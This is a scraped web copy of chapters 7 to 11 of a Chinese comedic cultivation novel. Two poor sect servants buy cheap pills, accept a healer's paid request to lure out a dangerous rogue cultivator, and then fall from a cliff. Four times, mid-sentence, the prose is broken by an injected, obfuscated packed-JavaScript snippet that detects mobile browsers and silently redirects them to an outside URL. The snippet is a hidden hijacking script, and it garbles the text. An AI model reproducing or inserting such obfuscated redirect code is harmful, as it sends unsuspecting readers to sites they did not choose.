《等不到龙傲天我嫁人了》 7. 买药 此番被打,着实令人十分愤怒。 更愤怒的是,榆笙普遍受的是内伤,温昭受的却是内伤加一点外伤,外伤主要集中在他的脸上。 可想而知,本就不富裕的一张脸,是如何雪上加霜,落井下石。 这模样怕就是镇上的李铁匠见了都要连夜给家里大门上把锁。 李铁匠是镇上出了名的手艺人,虽然身材瘦小,还跛了一只脚,但一身打铁的风姿却颇有点迷人,原本娶上个媳妇是不成问题的。 但一连死了五个媳妇后,就很成问题了,大家说他克妻。 是以在两年之内连死了五个媳妇后,绕是李铁匠把铁匠铺的屋顶拆掉,顶着骄阳,顶着大风,顶着大雨打铁,凶猛地展现他迷人的风姿,也没能再娶上第六个媳妇。 此事一度令大家对他的遭遇非常同情,大家每天看了李铁匠打铁的风姿后,就散了。 适逢一个器修兼职算命路过镇上,算出李铁匠以前娶的媳妇命薄,是因为长得不够丑。 有的人命中无财,有的人命中无子,有的人命中无姻缘,李铁匠则是命中无漂亮老婆。 李铁匠:“……” 李铁匠大醉三日后,转头就去天泽宗向李管事求娶温昭。 李管事:“……” 温昭:“……” 眼见着一晃多年过去了,李铁匠还没有娶上媳妇,他近来朝着天泽宗走动的越发频繁了,加的彩礼也越来越丰厚。 而且值得一提的是,随着事物发展变化,李铁匠的审美也在逐年变化,积年累月下来,曾经一想到要娶个丑媳妇大醉三日的李铁匠,如今已经能从温昭这张脸上看出与众不同的风情来。 温昭:“……” 只是温昭如今又遭遇横祸,不知道李铁匠是否还会上门求亲,若是上门了给的彩礼会不会减少。 反正榆笙是看着温昭这张脸,越看越面色沉思。 只见温昭被那散修正面打了一掌后,稀疏的几根眉毛彻底无影无踪,寥落的眼睫毛也消失不见,原本的两只高低不齐的肿泡眯缝眼,如今竟然变成了一只吊梢眼,一只斗鸡眼,从纯净的丑,变成了鬼迷日眼的丑。 榆笙:“…………” 榆笙一脸悲痛地问着温昭道:“你有没有觉得眼睛不适?” 温昭脸色茫然:“没有啊。” 榆笙松了口气,接着抽出匕首割下一块细长的衣摆,替温昭围在额头上,充当眉毛。 温昭:“……” 二人并没有在地上逗留太久,方才因为公仪无冽和散修之间的斗法,许多因为害怕四散奔逃躲在犄角旮旯的人,这一会儿又如雨后春笋冒了出来,大街上哗啦啦又挤满了人。 他们再呆在地上,容易被踩。 此刻,大家正站在满地狼藉的街头,并没有摊子被掀翻房子被劈成两半而愤怒,反而个个眉开眼笑,神色欢喜。 这自然不是因为他们已经被怒火烧坏了脑子,而是因为天泽宗作为一派大宗,各方面都很要脸。 这要脸之一就表现在,若是有天泽宗的弟子和人斗法使老百姓的财产蒙受损失,那么天泽宗将会让该弟子翻倍赔偿大家。 如果该弟子不幸在打架中被打死,那么天泽宗就会出面替该弟子料理后事,然后看看该弟子是否有遗产,有遗产就把遗产分给大家,没遗产就宗门出七分,其他弟子众筹出三分,就当吃席送的份子钱。 是以想到即将拿到的赔偿,大家十分喜气洋洋。 近些年来,随着来天泽宗山脚下做生意的凡人越来越多,竞争越来越大,挣钱是颇为艰难,大家的日子都没那么好过了。 如今眼见着砸在手里卖不出去的货物,一下子就找到了冤大头,可不得高兴么? 公仪无冽在天泽宗山上山下人气都很高,除了因为他长得好看,法术高强,还有一个重要原因,他因为法术高强破坏力也就特别强。 今日这几剑斩下去,这镇上少说十几条街命丧在他剑下。 这下不止卖不出去的东西找到了冤大头,甚至连房屋都可以重新翻修一下。 如此善解人意,慷慨解囊,人气值得更上一层楼。 众人不由得叹息,若是公仪无冽能天天这么来上几剑,怕是用不了几年他们就能攒够了钱,带上一家老小去四处游玩。 令人遗憾的是,公仪无冽拥有如此高深剑术,却鲜少出剑。 细算起来,公仪无冽每次出剑,似乎都和第一美人林悠有关。 他一共赔了五次钱,好像次次都是因为林悠赔的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375586|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是以,如今盼着公仪无冽再次出剑,赔钱,就只能盼着美人再次倒霉。这对美人来说,有点太缺德。 大家都不是缺德之人,只得放弃了这个缺德的想法。 日头滑向西边,温昭和榆笙二人互相搀扶着在一条挤满了无证行医的医修的巷子里,买丹药。 在他们不足三丈的地方,就有几家正规药馆开着业,但很遗憾,二人暂时都吃不起。 榆笙是因为被散修打来打去后,一身法器打坏不少,他得留着钱,进购新的法器,不然以后容易被人打死。 温昭是因为考虑到他就要离开天泽宗了,以后到了凡界,没了月钱进账,只出不进花销太大,他得省钱。 二人于是就来地边摊买点丹药。 虽说这巷子里都是无证行医的医修,其实他们的丹药基本也吃不死人,偶尔运气不好的,也不过是把自己吃成了不男不女。 并且吃错了药也没事,去隔壁医馆挂几个大师的号,再调理回来就行了。 温昭和榆笙一连走了十几家摊子后,都有点愤怒。 因为竟然又降价了,一家比一家便宜,越到巷子深处越便宜。这就代表,他们要拖着受伤的身体,看完这上百家摊子,才能买到最便宜的丹药。 二人愤怒了,但没有办法,他们只得继续走下去。 好在事情没有那么糟糕,二人走到一半时,忽然被一个医修叫住了。 这医修长得颇为好看,端庄而又秀美,在满地仿佛泥潭里滚出来的医修中,就像一根从淤泥中出落的青竹。 医修笑着对他们道:“美人,我给你免费治病怎么样?” 说完,医修咳了咳,面色陡然变得苍白。 温昭对榆笙咬耳朵道:“虽然他要给你免费治病,但你看他自己都还生着病,医术只怕不精,会把你变成不男不女,那么我们还得去医馆抓药变回来,花更多的钱。” 榆笙深以为然,认同地点了点头。 二人当即客气拒绝,就要离开。 只听身后医修又道:“听说天泽宗的林悠是修真界第一美人,我见了却觉得他名不副实,不过如此。” “这位美人,那位比起你来,可就相去甚远。” 温昭和榆笙停下了脚步。 8. 杀了他 几月前,从天泽宗内门流传出一套养生功法,凡人不会修行也可以跟着踢踢腿伸伸腰,大家练了后身体素质普遍都上了一个台阶,这本该是好事一桩,但对指着病人上门过日子的医修,就有点残忍了。 大家的身体越好,意味着他们的生意越是惨淡,又加之不久前刚出了一件大事,震动了所有医修,听说如今已经有不少医修转行了。 是以碍于医修生意惨淡,温昭和榆笙作为寥寥可数的顾客,尽管在小巷子东挑西拣,看了还不买,也被众多医修热情火热地招待着,他们走到哪个摊子,大家的眼睛就跟着到哪个摊子。 有些经验丰富的医修一看这二人就知道受伤不轻,这要是做下这笔生意,怕会是个不小的单子,于是一路跟在二人后面,决定关键时刻跳出来截单。 如今众目睽睽之下,那病弱医修的话落在耳中,大家的表情顿时变得十分一言难尽。 没想到这小子看起来长得老老实实,为了招揽生意,竟然脸皮也能这么厚! 温昭和榆笙也是心情复杂地把医修望着,前不久发生的一件大事,他们也有所耳闻。 这件事是这样的,说是隔壁医馆里有个医修,为人天生不苟言笑,面目严肃,以至于去他那里看病的病患时常被他的表情惊吓,以为自己身患绝症或者重症。 这医修从医五年来,在他手中被惊吓过的病人不计其数,虽然病人们被虚惊一场后也在心中对医修颇有微词,不过事后大家也普遍不会没事找事。 但世事就是这样的,平常中总会有点异常发生,总会遇到想要找点事的人。 这不,有个寿元将尽却迟迟进阶不了的剑修去寻医问药,见了医修的脸色后,误以为自己大限已经到来,一时想不开,当场效仿人间帝王给自己找了几个陪葬的。 倒霉催的医修首当其冲遇害,医馆里的其他医修和病患也伤亡惨重。 事后大家分析这桩惨案,剑修为何突然丧心病狂,一番调查分析后,无奈发现是那医修太严肃了,把人给吓到了。 所有人:“……” 听说这件事发生后,其他医修痛定思痛,决定吸取前人教训。一些不爱笑的医修如今出诊前势必要给自己施个法,保证每日露出八颗牙齿。说话难听的医修也开始到处学习甜言蜜语。 如今整个医修界风气焕然一新,医修们对着来看病的大爷大婶也一口一个公子姑娘,弄得大家都很高兴。 这会儿医修的一番话,落在众人耳中,无不认为他是为了生意彻底不要脸,说甜言蜜语哪里需要如此丧尽天良。 榆笙对着温昭小声道:“你看他长着这么一张脸了,却能说出这么厚颜无耻的话,想必最近生意实在惨淡,有点可怜,要不我们试一试他的免费?” 温昭看了看面色苍白的医修,没有异议,姑且就一试吧。 若是运气真的太寸,被这医修变成了不男不女,横竖被变成不男不女的是榆笙,他还年轻,经得起折腾。 于是温昭开始向榆笙商量,他决定两人兵分两路,他去巷子尽头买丹药,榆笙在这里免费治病。二人分头行动,可以节省时间。 温昭计划得很好,不过医修却在这时忽然插了话,只见他望着温昭,笑道:“我说的美人正是公子你,在下愿为公子免费治病。” 温昭:“……” 榆笙:“……” 医修身边的同僚:“……” 温昭顿时靠近榆笙,担忧道:“还是不试了吧。这生意到底是有多惨淡,才能让他说出这么恬不知耻的话。我怀疑你吃了他的药,不会变成不男不女,会变得不生不死。” 榆笙也震惊道:“难道他也克妻?” 实在只有这个答案了,医术不精又身体不好又克妻,才能让他对着温昭也能这么丧心病狂,就如同李铁匠一样。 人都把话说到这个地步了,他们再留下着实也不合适。 温昭拉着榆笙要走,还没迈动步子,又听得医修道:“我这双眼睛长得好,能看见常人看不见的东西,再厉害的法器在我眼中也能看到一二。” 温昭倏然顿住脚步,他抬眸看向医修。 医修眼含深意,也笑看着温昭。 一时之间,空气有点寂静。 榆笙一头雾水:“他说什么?” 温昭看了一会儿医修,慢慢道:“他说是他克妻生意不好,不是医术不精生意不好,我们都可以在他这里免费治病。” 榆笙:“……” 医修:“……” 医修蓦地粲然一笑:“今日在下就为两位美人免费看病。” 温昭和榆笙坐在摊子前,看着医修为两人配药,动作行云流水,手法娴熟,这让二人稍稍安了点心。 温昭看着眼前的医修,老实说,这还是几十年来,第一次有人看穿他的真面目,连天泽宗那些修为数一数二的尊者都不能看见的东西,他却能一言道破。 这也侧面证明了公仪无冽确实是个难得的修行奇才,当年年纪轻轻就能做出如此顶尖的法器。 没有耽搁多少时间,医修便为二人配好了药。温昭感激地伸手去取,并盘算着还是给一点药钱吧,大家的日子都不好过。 谁知这手刚伸出去,就听得医修道:“在下有个请求。” 温昭:“……” 榆笙:“……” 所以根本不是免费的! 他们竟然大意了,竟然能栽在这种低级的骗术里,怕是真的被那散修打傻了。 温昭和榆笙愤怒了,如果没有这医修打岔,他们约莫都要把这条巷子走到底了。 面对二人神色不善,医修却是不慌不忙,瞥了一眼温昭身上洗得发白的衣服,语出惊人道:“公子别急,若是能完成在下的请求,在下愿赠一万两金铢给公子。” 温昭:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375587|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温昭一个没坐稳,差点从凳子上摔下去,幸得榆笙拉了他一把,才没有使伤势更重。 榆笙蹙眉,眼中警惕地看着面前的医修。 哪个正经人会张口就要送人一万两金铢,以为是骗三岁小孩子吗? 接着就听身边温昭已经难忍激动,追问道:“是什么请求,难吗?” 榆笙:“……” 医修笑了笑,道:“这件事对公子来说,应当不是什么难事。若是换了其他人,怕是会有一点难度。” 温昭这下是真的好奇了,这个世上还有什么事是他这个废材才能做的。 榆笙也在皱眉思索。 便听医修慢悠悠道:“不是难事,只是让公子帮我再引出那散修罢了。今日出摊有点晚,一时错过了,只得请公子帮这个忙了。” 温昭:“……” 榆笙:“……” 空气忽然就死寂了片刻。 温昭一下无话可说。 这医修的话,简单翻译一下,就是让他再被散修打一顿。 这个请求其实不算太过分,没有这一万两金铢,温昭也已经被散修白白打了两顿了。 温昭心想,金铢在修真界没那么值钱,可是在凡界就不同了。他若是带着这一万两金铢去往凡界,怕是立刻就能当一个不小的富绅,过上骄奢淫逸,每天吃只烤鸡,还能炖只鸭的快活日子。 温昭被这想象中的日子迷昏了头,不暇多想,连忙去掏榆笙身上的纸笔:“好,成交。我们这就签订契约。” 榆笙:“……” 榆笙捂着自己的衣服,不给,二人开始拉拉扯扯,互瞪。这一刻二人的脑电波达到了前所未有的无障碍沟通。 榆笙:“哪个傻子会真给一万两金铢,你也不怕被打死!” 温昭:“我们可以提前告诉李管事,让他找人等在一边救我。” 榆笙:“李管事凭什么救你?你被打死了他还少个麻烦。” 温昭:“我可以分他一点钱嘛。” 榆笙大怒:“那散修的修为你也看到了,李管事要找来什么人才能救下你,公仪师兄吗!” 温昭:“别找他,若找了他,我宁愿被打死。” 榆笙:“……” 榆笙:“你为什么这么说?” 温昭:“太装比了,嫉妒,不爽。” 榆笙:“……” 二人好一番拉扯,最后还是看起来受伤更重的温昭赢了,掏出纸笔后,当场让医修和他订立契约。 待契约完成,一张普通的纸,霎时变得光芒流转。 温昭宝贝地收进怀中,好奇地看着散修:“你要引他出来干什么?” 小巷里风吹过,医修被风吹着,咳了咳,他嘴角有一丝苍白笑意,淡淡开了口。 他说的风轻云淡,但温昭和榆笙却听得心中一跳。 因为他说的是:“杀了他。” 9. 赶路 温昭和榆笙因为受伤行动不便,以至于回天泽宗这事行进得十分缓慢。 原本榆笙提议雇一台轿子,他和温昭二人挤挤,坐着轿子回去。 但天泽宗坐落的天泽山对凡人来说本就险峻难行,他们二人又要省钱挤同一辆轿子,以至于在镇上问遍了轿夫后,大家都表示不愿意接这趟活,性价比太低。 最终有一个家里十分缺钱的挑山夫主动同温昭和榆笙商量,他可以把二人背上山。 不过愿意接活的挑山夫只有这一个,温昭和榆笙却有两个人,于是在为难之后,大家决定做如下赶路方式。 由挑山夫先把温昭背出一里外,挑山夫再折返回去接应走在后面的榆笙,然后等挑山夫把榆笙接来和温昭汇合后,接着挑山夫背着榆笙走出下一里外,再回去接应走在后面的温昭……就这样由挑山夫轮换着把温昭二人送到天泽宗。 虽说这样赶路麻烦是麻烦了点,但温昭和榆笙一时之间也想不到其他更好的办法。 其实还有一个办法,那就是给李管事传信,让他找人来接二人。但温昭和榆笙考虑到这次被打,并不是因公负伤,让同门师兄弟来接应,可能要他们自己付钱,付的钱足够他们雇佣几十个挑山夫的价格了,于是这个方法直接被放弃。 谈妥了价格和赶路方式后,挑山夫轮换着背着温昭和榆笙朝着天泽宗赶去,原本在刚上路时,一切都还算顺利。 但在走出三里之后,却出现了不可控的意外。 挑山夫出现了头晕头痛恶心呕吐嘴唇发青等一系列症状,他高反了。 温昭:“……” 榆笙:“……” 温昭和榆笙面面相觑,心情极度复杂,但人命关天,由不得他们耽搁,二人不得不立刻抬着人往山下赶。 就这样,温昭和榆笙的伤势被迫再次加重。并且下山后,把挑山夫送到小巷子里让医修给他治病,温昭和榆笙又赔出去了一笔医药费。 温昭:“……” 榆笙:“……” 在来回折腾了一圈后,温昭和榆笙都觉得很是疲惫,决定不再依托外部力量,靠人不如靠己,于是二人手中都驻了两根拐杖,往宗门赶去。 山路漫长,且崎岖陡峭,温昭和榆笙走得面色十分痛苦,同时也十分无聊,害怕走着走着就想不开走到悬崖底下,于是二人开始分析,那个医修为什么要杀了那个散修。 温昭和榆笙都想不明白,主要是想不明白那个病秧子医修要怎么才能杀死那个散修。 虽然他们二人因为废材,无法看出那个医修修为如何,但他们却亲身感受过散修的修为如何。 温昭和榆笙分析一番后,对于这桩交易,着实不容乐观。很有可能出现三个结果,一个就是那个散修把那个病秧子医修和温昭都一起劈死,一个就是那个散修把那个医修打死,还有一个就是那个医修把那个散修杀死。 医修的死亡概率,达到了三分之二。 雇主死了,一万两金株谁来给? 这桩交易对于温昭来说,很容易又要被白白打一顿,还可能被打死。 幸得在签订契约时,为了避免这种惨剧发生,他们非常有远见地加上了一个条款,那就是行动当日医修必须随身带着钱,待散修一出现,便立刻结钱给温昭。 如此一来,无论温昭会不会被打死,钱都跑不了。 温昭和榆笙聊了一会儿,话题又回到了最初,病秧子医修为什么要杀了那个散修。 针对这事,温昭倾向于散修可能是打杀了医修家里哪位丑人,惹来了杀身之祸。 榆笙则认为医修很有可能是想把散修杀了后拿去搞实验,挖了他的灵根看看能不能移植给其他人使用,或者是研究这种天才的身体构造和其他人有什么不同之处,看看能不能批量生产更多的天才出来。 由于这个问题,二人讨论来讨论去,都无法得知哪一个才是正确答案,以至于温昭和榆笙决定放弃这个话题,开始讨论另一个话题,今晚在哪个山洞过夜。 是的,温昭和榆笙作为病重伤患,自觉已经十分身残志坚,走得不算慢了,但抬眼一看,二人走了几个时辰后,才堪堪走到挑山夫发病的地方。 “……” 这时天色已经十分昏暗,山中一片模糊不可看。没办法,温昭和榆笙只能决定今晚先在山中过夜,明日再接着赶路。 是以二人得赶紧挑出一个山洞作为落脚的地方。 最终温昭和榆笙挑选了一个比较宽敞的山洞,主要是考虑到万一有意外发生,逃命时不至于身体施展不开,被堵死在洞里。 然而他们却忘了,山洞太大也有大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375588|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏处。 这一晚,筋疲力尽的温昭和榆笙往地上杂草上一趟,就如同死猪睡了过去。 次日,一觉醒来,温昭发现自己有点头昏脑涨,似乎被夜风吹着凉了。 榆笙的情况则更糟,他发起了高烧。温昭还在他腿上发现了一个伤口,像是在睡梦之中被某种动物咬了一口。 温昭也不确定榆笙发烧是因为着凉,还是被动物咬了后中毒感染。 温昭不敢耽搁,急忙背着榆笙就往山下赶。 没想到回宗的路程如此困难且艰险,更没想到为了省几个路费,最终省得令人痛苦异常。 温昭背着榆笙一路走得头晕眼花,双腿发抖,冷不丁踩着一块石头摔在地上,不料身侧就是一处断崖,这一摔直接将榆笙摔出了悬崖。 温昭:“……” 事情发生得太快,温昭脑中一片空白,想也不想扑向悬崖边试图抓住榆笙,但由于此时的他也已经到了强弩之末,很难精准控制住身体,没掌握好力度就是整个人也跟着冲出了悬崖。 温昭:“……” 身体在空中失重,急速坠落。 温昭设想过自己将来的死法,可能是老死,可能是被人打死,但算来算去,万万没算到会死得如此令人死不瞑目。 温昭简直欲哭无泪,他死了就算了,他本就没几年好活了,但榆笙不应该这样草率地死在这里,死在他的手中。 温昭张嘴想喊人救救榆笙,然而喉咙却仿佛被堵住了,发不出任何声音。 风声在耳边轰鸣,温昭尝试使用自己那一点几乎没有的修为往悬崖下加速冲下去,看看能不能追上榆笙,抓住他。 他冲着冲着发现了榆笙的身影,正挂在一处歪脖子小树杈上。 温昭顿时松了一口气,然而紧接着,他就发现他因为冲得太快,冲过了头,就这么和树杈上的榆笙擦身而过,直接朝着崖底冲了下去。而此时,他那点微弱的修为已经全部用光了。 温昭:“……” 温昭心中凄凉。他,姓温名昭,享年八十七岁,死因抠门,不肯花钱多雇一台轿子。 就在温昭无语且满心凄楚时,下坠的身体却忽然被托住了。 有人揽住他的腰,把他紧紧抱在怀里,他的头靠在对方胸口,耳边听到一片急促的心跳声。 10. 醒来 靠在对方的胸口,鼻尖似有一抹淡淡的冷香传来。 温昭闭着眼睛,眼睫颤了颤。此时,他已经不能去分辨,这是不是他临死前的幻觉。 如果不是幻觉,却是没有这个如果。 因为他没有任何理由出现在这里,也绝无可能出现在这里。 听说人之将死时,过去一生的场景会在眼前走马观花放过,他以为他会见到在另一个世界多年未曾再见的家人与好友。 原来还是想要再见他一面。 原来六十八年过去了,他还是蠢得无可救药。 他分明早已忘了自己,忘了当年那个什么也不懂什么也不会笨手笨脚的傻子,忘了他天真白痴的喜欢,忘了他可笑的表白。 若是早知道他已有喜欢的人,他是绝对不会让自己喜欢上他的。 这真是莫可奈何的事情,在林悠出现前,他们已经相处了整整半年,半年的时间让他对他从情窦初开到很喜欢很喜欢,喜欢到明知已经被对方毫不在意地抛下,却还在心存幻想。 温昭其实很讨厌这样的自己,这样陌生的让他都想要唾弃的自己。 过去那些年,他曾无数次想要离开天泽宗,可终究却把自己作茧自缚,困死在了天泽宗。 如今约莫就要死了,在这个幻觉中,就像回到了当年的时光,他抱着他,单手对阵那些人,却也能游刃有余,翩翩身姿凝成巨大的羽翼,把他护在身下,让他多次在刀光剑影中毫发无伤。他让他的眼中看不见那些血雨与腥风,鼻尖嗅到的只有他身上淡淡的冷香。 心中蓦然酸楚,温昭闭紧了眼睛。 有一些话,过去没有机会说出口,未来也不会再有机会说出口,幸而老天对他还是有一点仁慈的,他终归还能对着这个幻觉说上一说。 温昭抓着对方的衣服,在心里想了想,他也不管这个影子能不能听到,能不能听懂,只是自顾自地说道:“我真的很讨厌你们这种伪装的样子,你明明已经讨厌我讨厌到把我弄成了百年难得一见的丑八怪,却一点也不肯透露给我。” “也不是所有人都像你们那样聪明,你看我就活成了最大的受害者,最大的笑话。” “如果你早点告诉我,你就算长得再好看,身手再好,我也不会喜欢你。” 不知道是不是温昭的错觉,抱着他的胳膊似乎僵了一瞬。 可是温昭已经管不了了,他的脑子越来越昏沉,意识越来越模糊,他大概就要死了,他还有好多话想说,可惜似乎没有时间了。 如果当初他们相遇后,相处的时间短一点就好了。 一年太长了,长到后来的六十八年,他还是忘不了他,长到他竟然做出他自己都觉得可笑至极的事。 那么没有原则的自己,心存妄想的自己,太陌生了。 他放下了自己的骄傲,一年又一年地等他,可是一年又一年过去,灵植园的火绒花已经不知开过了多少轮,他的生命也已经快要走到尽头,他终于还是没有等到这个人。 好在以后不会再等,也不用再等了。 一切都彻底结束了。 眼前陷入彻底的黑暗。 温昭以为自己会死,可是两日后,他在住了六十八年的小木屋的床上醒了过来。 醒来那日,是一个深夜,窗外月色皎洁,如一轮光圈挂在树梢。 这个时辰,想来,夜深露重,屋内屋外都该四下寂静无声,然而他的屋中,此刻却传来咔吱咔吱的声响。 温昭循着声音,抬眸看去,就看见他的桌上,就着一盏黯淡灯火,榆笙正双手忙活啃着一只猪蹄。 温昭:“……” 温昭收回目光,看了看头顶的房梁,又扭头看了看吐着猪骨头的榆笙,他感受了一下自己的身体,有知觉,还活着。 竟然还活着吗? 温昭看了一会儿房梁,他想起了他和榆笙在天泽宗山上滚到悬崖下的事情,也想起了那个幻觉。 心中忽然就涌上了难言的情绪,温昭转头看向榆笙,接着就发现活蹦乱跳,脸上气色红润的榆笙,啃猪蹄啃得全身心投入,完全没有发现他醒来。于是他不得不出声道:“你为什么这个时候在我房里啃猪蹄?” 榆笙啃着猪蹄的动作一顿,继而猛地抬头,对上温昭的视线。 榆笙顿时抓着猪蹄,扑到床边:“昭昭,你终于醒了,你知道你吓死我了吗?” 心中莫名就有点期待,温昭忍不住榆笙问:“我们是怎么回来的?” 榆笙想到这事就忍不住啃了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375589|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪蹄,满脸无语道:“当然是我醒来后,发现自己挂在一根树杈子上,下面就是深不见底的悬崖,吓得差点没滚了下去,马上给李管事求救,李管事找人把我们救回来的。” 果然是如此,那就是一个临死前的幻觉。可温昭看着榆笙,却依然有点不死心问道:“我当时是……” 榆笙一脸心有余悸道:“你当时可太惨了!” “你知不知道你掉下去后,摔到了哪里?” “你摔到了人家猪妈妈的窝里,当场砸死了十几只野猪,你把人家猪妈妈连带着猪儿子,一家人端了个干干净净!” 温昭又啃了一口猪蹄,接着满脸不忍地摇头道:“那个场景,真的太残忍了。猪妈妈和它的孩子,死得太惨了。” 温昭:“……” 榆笙吃完了猪蹄后,告诉温昭,他们从崖底被救回来后,李管事十分生气,让二人针对这次的事情,必须做深刻的检讨。 于是榆笙这几天一直睡在他的房间里,就等着温昭醒来后,和他一起写检讨。 温昭:“……” 在随后的几天里,温昭一边养伤,一边不得不和榆笙写检讨。 经过二人事后分析,他们在回宗时,有两大环节出了错。 其一是,在送了挑山夫下山后,温昭和榆笙二人在这个节点上,做错了选择。 其二是,在发现榆笙昏迷后时,温昭再次做错了选择。 当然,他们做的最错的还是没有在镇上第一时间联系李管事。二人忙活了半天,本想要省的钱最后还是没能留下,反倒因为要找人从崖底把温昭和榆笙,还有那十几只野猪搬回宗里,再次支出一大笔额外的花销,最后赔了夫人又折兵。 在温昭养伤时,天泽宗上上下下奔走相告,传来了一个消息,说是公仪无冽和林悠在闹了几十年绯闻后,终于不日将结为道侣。 全宗上下得知此事,无不为二人高兴,道天造地设,般配至极。 消息传到温昭耳中时,他正在啃着一只猪排骨,他面色不变,低头吃完了排骨。 对于这件事,他没有意外,总有这一天的,或许可以说这一天终于到了。 他只是想,他要快一点攒钱,离开天泽宗了。要赶在二人成亲前离开。 11. 挨打 不知道为什么,几日养伤下来,温昭的伤势非但没有养好,还休养地越发严重了,这着实令人十分担忧。 因为同样是受伤,榆笙已经能满山撒野,每顿能吃下三碗饭,胃口实在不能更好。 最后大家围在温昭床边担忧地讨论了一番后,一致认为伤药都来自同一位医修之手,不存在用药情况不同,只能归咎于他年事已高比不得年轻人身强力壮,受不得磕磕碰碰。 李管事认为天泽宗所有年龄大的杂役需将此事引以为戒,遂下令大家都来排队观望温昭,回去后还要写一篇不少于一千字的观后感。 温昭:“……” 好在作为天泽宗的杂役,入门后除了会有基础的修行功法教导,也会有人教他们最基本的读书识字,因此写起一千字观后感来也不是太受为难。 天泽宗不收凡人,而灵根这种东西又万里挑一,并不知晓到底会长在谁身上,是受过教育的富家公子姑娘身上还是大字不识一个的乡野庄户身上。 天泽宗要脸,自然不会允许门下杂役发生下山采购连自己名字都写不出来的笑话,以至于大家在被迫读书识字后,文化水平虽然达不到可以参加凡界科考的水平,但随口吟一下课本上的三两句诗词是不成问题的。 温昭初来修真界时,从一个学渣直接退化成了文盲,连自己的名字都不会写,如今也能认识几千个字了。 但他的识字却不是在天泽宗学的,而是公仪无冽教的。 其实公仪无冽不喜欢温昭,可能也是命运的使然。 公仪无冽一看就出自世家大族,无论是周身清贵的气质,还是待人接物的优雅谈吐,平日里展露出来的博览群书,无不告诉了大家这是个受过高等教育的知识分子。 你想么,如果要让一个高级知识分子喜欢上一个文盲,这个文盲还是文盲中都有点扶不上墙的文盲,这着实有点让人为难了。 可以想象一个场景,忽然天落小雨,公仪无冽和温昭忘了带伞,不得不紧急避入一方水阁之中。 四周是接天莲叶无穷碧的莲塘,此时雨雾蒙蒙,风吹起水阁的帘幔,帘幔外,银白雨珠连成丝线在莲塘里溅起层层叠叠的涟漪,如此良辰美景,公仪无冽雅兴来了,遂吟诗一首行雨急什么的,待他吟完诗,却发现无人捧场。转头一看,温昭正狂野地脱了衣服,光着膀子拧着衣服的水,一边拧还要一边问公仪无冽:“你看着我干什么,你穿着湿衣服不难受吗?” 公仪无冽:“……” 如此不解风情,这着实是个读书人都有点难以忍受。 温昭思及此种场景,也是心中悲凉,以至于食欲难振,只吃了一碗饭。 李铁匠得知温昭受伤,买了瓜果并一株四十年的老人参,连夜爬上天泽宗探望,在看到温昭如今的长相后,他虽提前做了心理准备,也是如遭雷劈,久久不能言语。 半晌后,李铁匠才抖着声音:“昭昭,你如今这模样,看过大夫了吗?” 温昭捂着脸,声音悲切:“看了,大夫说治不好。” 李铁匠心如刀绞,一阵剧烈挣扎后,神色坚定道:“昭昭,我还是愿意娶你的,你看我们都年纪不小了,还有多少年华来浪费呢?” 李铁匠供着手,朝着天泽宗那些个位高权重的尊者居住的山头拜了拜,旋即对着温昭道:“昭昭,听说宗里两位仙人就要结为道侣了,不如我们也沾个仙人的喜庆,把亲事定下来吧。” “就算我们比不得这些仙人尊贵,但昭昭,我也会给你一场风风光光的亲事。” “我觉得亲事可以定在同一天,仙人们成亲,肯定会选个绝妙的黄道吉日,如此一来,我们也可省点心力,节约时间把其他安排妥当,不知道昭昭老家在何处?昭昭的家人……” 李铁匠带的礼物温昭没收,还当场把人赶了出去。 搞得李铁匠很是伤情,不知道自己说错了什么话。 李管事瞅着躺在床上休养的温昭,颇为痛心,回屋翻出他当初和人私奔时没用上的悍匪头套,拿来送给了温昭,让他以后下山时记得戴在脸上。 若是戴上头套还要被打,至少脸上不会被溅一脸血。 温昭:“……” 温昭拿着头套,将李管事也赶了出去。 入宗六十八年来,没有人知道天泽宗的一个小小杂役会和那位名动大陆的最年轻的元婴尊者有过一段相识的过去。 